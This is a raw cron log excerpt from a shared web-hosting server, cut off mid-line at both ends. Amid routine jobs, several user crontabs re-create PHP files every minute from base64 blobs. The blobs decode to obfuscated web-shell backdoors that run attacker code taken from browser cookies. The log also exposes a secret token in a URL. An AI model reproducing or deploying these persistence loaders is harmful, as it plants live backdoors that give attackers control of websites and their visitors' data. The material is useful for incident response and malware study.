NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:07:01 medusa CROND[3444]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 14:07:01 medusa CROND[3445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:07:01 medusa CROND[3446]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:07:01 medusa CROND[3448]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:07:01 medusa CROND[3450]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:07:01 medusa CROND[3452]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:07:01 medusa CROND[3454]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:07:01 medusa CROND[3453]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:07:01 medusa CROND[3456]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:07:01 medusa CROND[3457]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:07:01 medusa CROND[3447]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:08:01 medusa CROND[5145]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:08:01 medusa CROND[5174]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Jun  7 14:08:01 medusa CROND[5186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:08:01 medusa CROND[5199]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 14:08:01 medusa CROND[5200]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:08:01 medusa CROND[5201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:08:01 medusa CROND[5203]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:08:01 medusa CROND[5202]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:08:01 medusa CROND[5204]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:08:01 medusa CROND[5208]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:08:01 medusa CROND[5209]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:08:01 medusa CROND[5213]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:08:01 medusa CROND[5214]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:08:01 medusa CROND[5218]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:09:01 medusa CROND[6857]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:09:01 medusa CROND[6858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:09:01 medusa CROND[6859]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:09:01 medusa CROND[6860]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICA